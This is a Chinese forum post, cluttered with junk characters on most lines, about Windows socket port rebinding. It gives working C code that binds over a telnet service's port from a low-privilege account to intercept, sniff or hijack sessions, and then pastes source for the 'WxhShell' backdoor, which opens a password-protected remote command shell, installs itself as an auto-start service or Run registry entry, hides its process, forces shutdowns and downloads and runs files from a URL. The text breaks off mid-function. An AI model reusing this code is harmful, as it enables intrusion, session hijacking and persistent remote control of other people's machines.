在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
|BYRe1l6l s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
6~+emlD 7$#u saddr.sin_family = AF_INET;
UZ";a453r xx $cnG saddr.sin_addr.s_addr = htonl(INADDR_ANY);
+ai<
q>+ 8,|k ao: bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
I 6O g{LP7D;6 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
)PZT4jTt V~#tuv 这意味着什么?意味着可以进行如下的攻击:
z!\*Y
=e r|Z{-*` 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
3XKf!P k{0o9, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
ipz5 H* !~Z"9(v'C 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
,//S`j$S 8EY:tzw 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
(%9$! v{3 hGrdtsH? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Zd&S@Z ('~LMu_ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
@nf`Gw ; |uDdHX8T 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
`u\n0=go M%#e1"n #include
31)&vf[[ #include
P2Y^d#jO #include
d5d@k #include
`h;[TtIX4 DWORD WINAPI ClientThread(LPVOID lpParam);
>sbu<|]a
7 int main()
S>{~nOYt-` {
=c7;r]Ol WORD wVersionRequested;
n !(F, b DWORD ret;
kVL.PY\K WSADATA wsaData;
7z-[f'EIUI BOOL val;
^Dx&|UwiZa SOCKADDR_IN saddr;
M=Wz SOCKADDR_IN scaddr;
;kK/_%gN-G int err;
jdBLsy@ SOCKET s;
Pz^544\~ou SOCKET sc;
4P0}+ int caddsize;
@ P|y{e6 HANDLE mt;
x"gVq
~ DWORD tid;
^}r1;W?n wVersionRequested = MAKEWORD( 2, 2 );
Xr{v~bf err = WSAStartup( wVersionRequested, &wsaData );
s`UJ1eJ if ( err != 0 ) {
28nFRr printf("error!WSAStartup failed!\n");
SAz return -1;
=">NQ)98u }
j!ch5A saddr.sin_family = AF_INET;
nDW9NQ W>LR\]Ti@ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
D,6:EV"sa snJ129}A saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Dzbz)Zst saddr.sin_port = htons(23);
&wX]_:? if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
cnLro {
3CJwj printf("error!socket failed!\n");
cNH7C"@GVu return -1;
_G0x3 }
##{taR8 val = TRUE;
~5g ~;f[4 //SO_REUSEADDR选项就是可以实现端口重绑定的
`{Ul! if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
[
3HfQ {
ctUp=po printf("error!setsockopt failed!\n");
8_F1AU? u return -1;
<QvOs@i* }
N;gfbh] //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
9B4&m|g //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
K%d&EYoW] //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
0aAoV0fMDz 2?x4vI
np; if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
H#&00 Q[ {
Lr<cMK< ret=GetLastError();
U~8g_* printf("error!bind failed!\n");
`2snz1>!j return -1;
u&NV,6Fj2[ }
y)pk6d listen(s,2);
}M+7T\J! while(1)
M?qy(zb {
$u.z*b_yy caddsize = sizeof(scaddr);
D]}G.v1 //接受连接请求
{8OCXus3m sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
M}Sv8D]I if(sc!=INVALID_SOCKET)
"oD[v {
kP"9&R`E mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
ceV}WN19l if(mt==NULL)
4Up/p&1@ {
}'.m*#Y printf("Thread Creat Failed!\n");
c|%6e(g"L break;
^s=8!=A( }
C]#,+q* }
PM+[,H CloseHandle(mt);
B3BN`mdn> }
6 r"<jh # closesocket(s);
rKn~qVls WSACleanup();
&vJH$R return 0;
:>*7=q= }
~V-XEQA DWORD WINAPI ClientThread(LPVOID lpParam)
!?XC1xe~R {
+H.`MZ= SOCKET ss = (SOCKET)lpParam;
FtZ?C@1/ SOCKET sc;
>bxS3FCX unsigned char buf[4096];
YN,A)w:] SOCKADDR_IN saddr;
k\IbIv7?i long num;
[~
fraK,) DWORD val;
R@0R`Zs DWORD ret;
p[-O( 3Y //如果是隐藏端口应用的话,可以在此处加一些判断
Jvi#) //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
rZF*q2? saddr.sin_family = AF_INET;
:t[_:3@ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
KP"+e:a% saddr.sin_port = htons(23);
Rv=YFo[B if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Vj-h;rB0z {
Th%zn2R B printf("error!socket failed!\n");
y(&Ac[foS} return -1;
\lY_~*J }
_&x%^&{ val = 100;
Mhu*[a=;x if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5bIw?%dk( {
cR{#V1Z ret = GetLastError();
u!s2BC0}N return -1;
CAe!7HiR }
j+!v}*I![ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
FlQGgVN {
)1z@ ret = GetLastError();
=v\.h=~~ return -1;
>sF)BoLc }
O<I- if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
No$3"4wk {
9^x> 3Bo printf("error!socket connect failed!\n");
/efUjkP closesocket(sc);
D=$)n_F closesocket(ss);
1cDF!X] return -1;
teP<!RKNb }
Kq!3wb; while(1)
I'Hf{Erw {
vX>)je5# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
ni<(K
0~ //如果是嗅探内容的话,可以再此处进行内容分析和记录
<%^&2UMg //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
fJ\[*5eiS num = recv(ss,buf,4096,0);
rjP/l6
~' if(num>0)
"7
yD0T)2 send(sc,buf,num,0);
l}h!B_P' else if(num==0)
"tZe>>I break;
maZ)cW?
num = recv(sc,buf,4096,0);
m~|40) if(num>0)
"MsIjSu send(ss,buf,num,0);
54,er$$V else if(num==0)
~Ei<Z`3}7" break;
TpaInXR }
Y2TtY; closesocket(ss);
`V1]k_h closesocket(sc);
o-\[,}T)M return 0 ;
s"|Pdc4 }
Wqnc{oq|$ VTM/hJmwJ n<,BmVQ ==========================================================
Qrv<lE1V; dr(*T 下边附上一个代码,,WXhSHELL
|)&%A%m W^Yxny ==========================================================
hxx.9x>ow siaG'%@*r #include "stdafx.h"
M:8R-c#![ s7<AfaJPF #include <stdio.h>
>z03{=sAN #include <string.h>
;gkM{={`p #include <windows.h>
45e~6", #include <winsock2.h>
XX@ZQcN #include <winsvc.h>
_#niyW+?~ #include <urlmon.h>
0f/<7R )4OxY[2J #pragma comment (lib, "Ws2_32.lib")
uZ5p#M_ #pragma comment (lib, "urlmon.lib")
NUZl`fu1Z4 b-DvW4B #define MAX_USER 100 // 最大客户端连接数
-~0^P,yQ #define BUF_SOCK 200 // sock buffer
q'DW~!>qX #define KEY_BUFF 255 // 输入 buffer
Wri<h:1 8Wx=p#_ #define REBOOT 0 // 重启
zdYjF| #define SHUTDOWN 1 // 关机
&HW9Jn >j/w@Fj #define DEF_PORT 5000 // 监听端口
vt8By@]: w}KkvP^ #define REG_LEN 16 // 注册表键长度
vQCy\Gi #define SVC_LEN 80 // NT服务名长度
NOva'qk
)2.Si# // 从dll定义API
V&5wRz+`W typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
8=l%5r^cq typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
b;n[mk
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
T[gv0|+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
r;{.%s7 i@yC-))bY // wxhshell配置信息
;I}fBZ3
struct WSCFG {
O-^Ma-} int ws_port; // 监听端口
6Oq7#3] char ws_passstr[REG_LEN]; // 口令
1#x0 q:6 int ws_autoins; // 安装标记, 1=yes 0=no
L,\Iasv char ws_regname[REG_LEN]; // 注册表键名
hb$Ce'}N char ws_svcname[REG_LEN]; // 服务名
,bi^P>X char ws_svcdisp[SVC_LEN]; // 服务显示名
Hs8>anVo[ char ws_svcdesc[SVC_LEN]; // 服务描述信息
A^g(k5M* char ws_passmsg[SVC_LEN]; // 密码输入提示信息
M]^5 s;y int ws_downexe; // 下载执行标记, 1=yes 0=no
N7"W{"3D char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
}#fbbtd char ws_filenam[SVC_LEN]; // 下载后保存的文件名
&d!GImcxQ /:
"1Z]@ };
f|5co>Hk 4Z*/WsCv // default Wxhshell configuration
:;}P*T*PU struct WSCFG wscfg={DEF_PORT,
i5Ggf"![ "xuhuanlingzhe",
ye&;(30Oq 1,
6!o1XQr=Z "Wxhshell",
#ob/p#k "Wxhshell",
}]TxlSp!; "WxhShell Service",
k)u[0} "Wrsky Windows CmdShell Service",
@HW*09TG "Please Input Your Password: ",
|ZBw<f 1,
1M-pr 8:6s "
http://www.wrsky.com/wxhshell.exe",
6*?F @D2& "Wxhshell.exe"
0(Ij%Wi, };
i4Jc.8^9$ QJNFA}*> // 消息定义模块
qR.Q,(b| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
e!`i3KYn" char *msg_ws_prompt="\n\r? for help\n\r#>";
R]dg_Da char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
m|# y
>4 char *msg_ws_ext="\n\rExit.";
V)^+?B)T char *msg_ws_end="\n\rQuit.";
Bx!-"e char *msg_ws_boot="\n\rReboot...";
J1kM\8%b\ char *msg_ws_poff="\n\rShutdown...";
Bq>m{ char *msg_ws_down="\n\rSave to ";
l0]
EX>"E iE{&*.q_}> char *msg_ws_err="\n\rErr!";
*"kM{*3:v char *msg_ws_ok="\n\rOK!";
hph4 `{T Al'3? char ExeFile[MAX_PATH];
!BI;C(,RL int nUser = 0;
*=n:- HANDLE handles[MAX_USER];
X8|EHb< int OsIsNt;
]k(]qZ p'fYULYE SERVICE_STATUS serviceStatus;
HDKbF/ SERVICE_STATUS_HANDLE hServiceStatusHandle;
r>\bW)e BHw, 4#F1; // 函数声明
]9XDS[<2` int Install(void);
-&;TA0~; int Uninstall(void);
t
Pf40`@ int DownloadFile(char *sURL, SOCKET wsh);
r/sNrB1U"y int Boot(int flag);
:LTN!jj void HideProc(void);
$N\Ja*g int GetOsVer(void);
|3%8&@ho int Wxhshell(SOCKET wsl);
C>~TI,5a3 void TalkWithClient(void *cs);
Tr|JYLwF int CmdShell(SOCKET sock);
.o8t+X'G int StartFromService(void);
Y~Ifj,\ int StartWxhshell(LPSTR lpCmdLine);
S$k&vc(0 K>9 ()XT) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
OH"XrCX7n VOID WINAPI NTServiceHandler( DWORD fdwControl );
h$=2 p5'- <or2 // 数据结构和表定义
CJ%I51F`X SERVICE_TABLE_ENTRY DispatchTable[] =
_FEFx {
_rYkis^u {wscfg.ws_svcname, NTServiceMain},
X(C$@N {NULL, NULL}
*j-aXN/ $ };
f-2c0Bi rs.M]8a2{& // 自我安装
v
LZoa-w: int Install(void)
T>GM%^h,7- {
@P"p+ char svExeFile[MAX_PATH];
c(%|: P^ HKEY key;
|)81Lz strcpy(svExeFile,ExeFile);
EzIGz[ go"Hf_ // 如果是win9x系统,修改注册表设为自启动
W%)Y#C if(!OsIsNt) {
CP{cAzHO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
$g7<Y*t[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
2m[<]$ RegCloseKey(key);
:aQt;C6Z> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
V>
bCKtf& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
yZ`wfj$Jj RegCloseKey(key);
1QJL . return 0;
#,.Hr#3nI }
]fD}
^s3G }
h}EPnC} }
{GO#.P" else {
j+(I"h3 -]=@s // 如果是NT以上系统,安装为系统服务
&M'*6A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
IMfqiH) if (schSCManager!=0)
r4f~z$QK {
|W\(kb+ SC_HANDLE schService = CreateService
iyp=lLk (
``Un&-Ms schSCManager,
S+2(f> Z wscfg.ws_svcname,
"Yca%: wscfg.ws_svcdisp,
F3N6{ysK# SERVICE_ALL_ACCESS,
hG:|9Sol, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
6 _ow%Rx~F SERVICE_AUTO_START,
VYhbx
'e SERVICE_ERROR_NORMAL,
+KEWP\r svExeFile,
e,5C8Q`Z NULL,
C/&-l{7 NULL,
d'I"jZ NULL,
-)/$M(Pu" NULL,
-
CWywuD NULL
0C*7K?/ );
fg{n(TE"8 if (schService!=0)
Fr$5RAyg {
_]*>*XfF( CloseServiceHandle(schService);
(%:c#;# CloseServiceHandle(schSCManager);
tdaL/rRe strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Q1l '7N strcat(svExeFile,wscfg.ws_svcname);
c7E11 \%&Z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
HX{`VahE RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
;]jNk'oa RegCloseKey(key);
F.v{-8GV return 0;
T${Q.zHY[! }
9!DQ~k% }
63~
E#Dt4 CloseServiceHandle(schSCManager);
"v4B5:bmqW }
kn"(A.R }
Ji 0
tQV 5lT*hF return 1;
0k(a VkZ I }
K:Q<CQ2 '!a'ZjYyi // 自我卸载
RlDn0s int Uninstall(void)
k,F6Tx {
6qd\)q6T&x HKEY key;
}XM(:|8J, yqiq,=OvP if(!OsIsNt) {
kd$D 3S^{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
nmi|\mof RegDeleteValue(key,wscfg.ws_regname);
{3{"8-18 RegCloseKey(key);
M|(Q0 _8
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
S+ ^E. RegDeleteValue(key,wscfg.ws_regname);
E'.7xDN RegCloseKey(key);
H_<C!OgR return 0;
gy9U2Wgf| }
l/
; }
fn6J*[` }
Y0K[Sm> else {
2Jmz(cH% X<; f SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
~B(4qK1G if (schSCManager!=0)
8d-t|HkN {
bl(RyAgA SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
cXOK)g# if (schService!=0)
B=A [ymm {
*lw_=MXSK if(DeleteService(schService)!=0) {
@w !PaP CloseServiceHandle(schService);
9lH?-~9 CloseServiceHandle(schSCManager);
(<oyN7NT return 0;
^vO+(p }
Eq\M;aDq CloseServiceHandle(schService);
-FQ 'agf@& }
/U)D5ot< CloseServiceHandle(schSCManager);
_ T):G6C8 }
zEy N) }
FfPar:PHj xzZ38xIhV return 1;
/j|G(vt5 }
b4ONh% Mz~D#6= // 从指定url下载文件
Fv<F}h? 6 int DownloadFile(char *sURL, SOCKET wsh)
zSja/yq {
A/KJqiag HRESULT hr;
ApV~(k)W char seps[]= "/";
fs%.}^kn char *token;
i||]V*5n char *file;
M`i\VG char myURL[MAX_PATH];
m~d]a$KQ5- char myFILE[MAX_PATH];
Yqi4&~?db $$5aUI:$~$ strcpy(myURL,sURL);
h*$y[}hDuv token=strtok(myURL,seps);
[t@Mn while(token!=NULL)
YccH+[X; {
}h!f eP file=token;
E:}r5S)4 token=strtok(NULL,seps);
?>rW>U6:P }
,\n&I( 'JfdV%M GetCurrentDirectory(MAX_PATH,myFILE);
>kp?vK;'B strcat(myFILE, "\\");
+M$Q
=6/ strcat(myFILE, file);
_i|t
Y4L send(wsh,myFILE,strlen(myFILE),0);
i/ )am9 send(wsh,"...",3,0);
]?
g@jRs hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
1Z~)RJ<D if(hr==S_OK)
pDIVZC return 0;
^_u kLzP9 else
DSk/q-'u return 1;
s,=i_gyPQ =L:4i\4 }
W7\f1}]H f[a}aZ9) // 系统电源模块
JB`\G=PiL int Boot(int flag)
<55g3>X {
DV-;4AxxRq HANDLE hToken;
ie\"$i.98H TOKEN_PRIVILEGES tkp;
uv(Sdiir8 (>GK\=:< if(OsIsNt) {
ws|;` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
GlT7b/JCG LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
T'&I{L33Y tkp.PrivilegeCount = 1;
% !>I*H tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
TAF
PawH AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
M|qteo if(flag==REBOOT) {
JSW}*HR if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
i2(1ki/|O return 0;
kg3EY<4i }
H77" else {
lM{
+!-G, if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
vIwCJN1C return 0;
wl$h4 {L7 }
D-(w_$# }
^(h+URFpA else {
oMTf"0EIW if(flag==REBOOT) {
l0cA6b if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Dzs[GAQ] return 0;
ICkp$u^ }
aZ'Lx:)R else {
]=";IN:SU if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
.dQQoyR+O return 0;
4NG?_D5& }
^? ]%sdT q }
),!;| bh Bk\Gj`"7 return 1;
njnDW~Snb }
FEW_bP/4 0}xFD6{X // win9x进程隐藏模块
pzgSg[| void HideProc(void)
01. &>Duw {
zC:wNz@zK ^ Dt#$Z HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
j$Je6zq0x if ( hKernel != NULL )
[ $T(WGF {
J@ktyd(P pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
STw#lU) %( ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
{]]|5
\F FreeLibrary(hKernel);
13&0rLS }
dk<XzO~g rf%7b8[v return;
p/
>`[I }
0W()lQ ed_FiQd // 获取操作系统版本
%9#gB int GetOsVer(void)
"AhTH.ZP {
Wt9Q;hK OSVERSIONINFO winfo;
|s)?cpb winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
2{.QjYw^ GetVersionEx(&winfo);
^p/Ob'! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
y{a$y}7#X return 1;
{gaai else
kY&h~Q return 0;
d@3}U6, }
$eBX K!mOr // 客户端句柄模块
%D`,k*X int Wxhshell(SOCKET wsl)
=60~UM {
e%>b+Sv SOCKET wsh;
U70]!EaT struct sockaddr_in client;
}V|{lvt. DWORD myID;
;|cTHGxbE @i3bgx>_o while(nUser<MAX_USER)
yRYWch {
j9/-"dTL int nSize=sizeof(client);
90Hjx>[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
VNtPKtx\ if(wsh==INVALID_SOCKET) return 1;
Q\3 Z|% ='E$-_ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
ro[Y-o5Q0 if(handles[nUser]==0)
l**;k+hw closesocket(wsh);
._96*r=o else
Ih[+K#t+E nUser++;
Y3ZK%OyPR }
;bX4(CMe
& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
9(!]NNf! >uI$^y1D return 0;
v1.q$ f^( }
\BI/G 1[;@AE2Y // 关闭 socket
k,Zm GllQ] void CloseIt(SOCKET wsh)
'7im {
I}Xg&-L closesocket(wsh);
XDD<oo nUser--;
R& =f:sEi ExitThread(0);
?&l)W~S }
!)Rr]
~ ELh3^ // 客户端请求句柄
p11G#.0 void TalkWithClient(void *cs)
1{2eY%+C {
(w2=
2$ yD)"c. SOCKET wsh=(SOCKET)cs;
5QWNZJ&}d char pwd[SVC_LEN];
e"+dTq8W char cmd[KEY_BUFF];
Vul+]h[!h char chr[1];
R.1Xst &i int i,j;
QlW=_Ymv{ hWcTI{v while (nUser < MAX_USER) {
;~sr$6 CM~MoV[k7e if(wscfg.ws_passstr) {
w&lZ42(mF if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'0+$ m= //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
En9R>A;` //ZeroMemory(pwd,KEY_BUFF);
dA#{Cn; i=0;
^@}#me@ while(i<SVC_LEN) {
{&nV4c$v B[xR-6phW // 设置超时
H|+tC=]4IZ fd_set FdRead;
?B4#f!X struct timeval TimeOut;
$+:(f{Va* FD_ZERO(&FdRead);
f:%SW FD_SET(wsh,&FdRead);
E5B8 Z?$a TimeOut.tv_sec=8;
>x'bZ]gm TimeOut.tv_usec=0;
qiNliJ>40E int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Gm&2R4 )EP if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
J`Oy .Qu) KZK,w#9. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
9 )Yw
: pwd
=chr[0]; 6D9o08
if(chr[0]==0xd || chr[0]==0xa) { E8tD)=1
pwd=0; y-cw~kNPP3
break; b]`^KTYK
} Jqg3.2q
i++; aW@oE
~`
} PqhlXqX9
!s-/0ugZ
// 如果是非法用户,关闭 socket `)tK^[,<W
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 98<zCSe\]
}
gNa#|
hh&Js'd
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &N{zkMf
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0QR.
%}F"*.
while(1) { zPQ$\$7xB
om7`w
]
ZeroMemory(cmd,KEY_BUFF); D9ywg/Q91
bhKV +oN
// 自动支持客户端 telnet标准 slSR=XOG
j=0; zH+<bEo=1=
while(j<KEY_BUFF) { d[U1.SNL
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5<r)+?!n
cmd[j]=chr[0]; apaIJ+^[
if(chr[0]==0xa || chr[0]==0xd) { \UtS>4w\
cmd[j]=0; l%bq2,-%
break; oYqE*mA
} Fd"WlBYy0
j++; l\U*sro<
} ;qT5faKB3J
`GkRmv*
// 下载文件 M+UMR+K
if(strstr(cmd,"http://")) { O<a3DyUa;
send(wsh,msg_ws_down,strlen(msg_ws_down),0); U]j&cFbn5_
if(DownloadFile(cmd,wsh)) u<q)SQ1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -wIM0YJ
else R`7n^,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c'lIWuL)
} B'/Icg.T
else { `1_FQnm)
*(VbPp_H_
switch(cmd[0]) { ^8\Y`Z0%
DJJZJ}7
// 帮助 YlB["@\[B
case '?': { 5@.zz"o.`
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mdt
?:F4Q
break; ;q&Z9lm
} [EOMCH2Ki
// 安装 w}b<D#0XC
case 'i': { GFY-IC+fc
if(Install()) 'Ix5,^M}B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g$gVm:=
else V*kznm
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a}GAB@YI
break; Vd[2u
} KPg[-d
// 卸载 \
>(zunL
case 'r': { H>Sf[8w)%
if(Uninstall()) 6DO0zNTY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z#LUez;&t#
else I`#EhH
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^s.oZj
q
break; %)dI2 J^Xf
} C*]AL/
// 显示 wxhshell 所在路径 eFes+i( 35
case 'p': { |/2LWc?
char svExeFile[MAX_PATH]; }7&\eV{qU
strcpy(svExeFile,"\n\r"); \cFAxL(
strcat(svExeFile,ExeFile); i~ROQMN1
send(wsh,svExeFile,strlen(svExeFile),0); taBO4LV
break; /;b.-v&
} x1:vUHwC
// 重启 lW&[mnR
case 'b': { 6WCmp,*
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KdS
eCeddW
if(Boot(REBOOT)) frk7^5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8QPT\~
else { U=M#41J
closesocket(wsh); 2kC^7ZAwu
ExitThread(0); `2sdZ/fO
} G@;Nz i89
break; _82<|NN:
} D@2Ya/c
// 关机 ^CO#QnB @
case 'd': { 2}ag_
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Lq3(Z%
if(Boot(SHUTDOWN)) THb A(SM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V5cb}xx
else { IOn`cbV:
closesocket(wsh); %~ ;nlDw
ExitThread(0); kA1f[AL
} ,7QBJ_-;QJ
break; 3s#|Y,{?6R
} YmdsI+DbIu
// 获取shell wEZqkV
case 's': { p!. /
CmdShell(wsh); W^-hMT]uD
closesocket(wsh); ?S+/QyjcfJ
ExitThread(0); p{+tFQy
break; i.B$?cr~
} k*A4;Bm
// 退出 wn&[1gBxM
case 'x': { DX]z=d)tc
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4da^d9ZOy
CloseIt(wsh); g-4gI\
break; lqhHbB
} /<(R
// 离开 k9.u[y.
case 'q': { qb#V)
send(wsh,msg_ws_end,strlen(msg_ws_end),0); _SU,f>
closesocket(wsh); lr)G:I#|
WSACleanup(); $IZ*|>(
exit(1); s0x@
u
break; kfH9Y%bOy
} /&y,vkZTT
} @^w!% ?J
} 3<V.6'*k
w*]_FqE
// 提示信息 @]}Qh;a~
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3hp
tP
} P}w^9=;S
} !XG/,)A
{&6l\|
return; [346w
<
} Th I
$D0)j(v
// shell模块句柄 0B#rqTEKu
int CmdShell(SOCKET sock) mP`,I"u
{ #t5JUi%in*
STARTUPINFO si; >d1aE)?
ZeroMemory(&si,sizeof(si)); {|t?
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1tuator
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;
4AG&z,[
PROCESS_INFORMATION ProcessInfo; [qc6Q:
char cmdline[]="cmd"; z{<q0.^EFh
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _.s\qQ
return 0; 72BzvY.
} +4p2KYO
lcuH]z
// 自身启动模式 {Hrr:hC
int StartFromService(void) OP\^c
{ O~c+$(
typedef struct tPMgZ
{ 0|f_C3
DWORD ExitStatus; ^O,6(@>
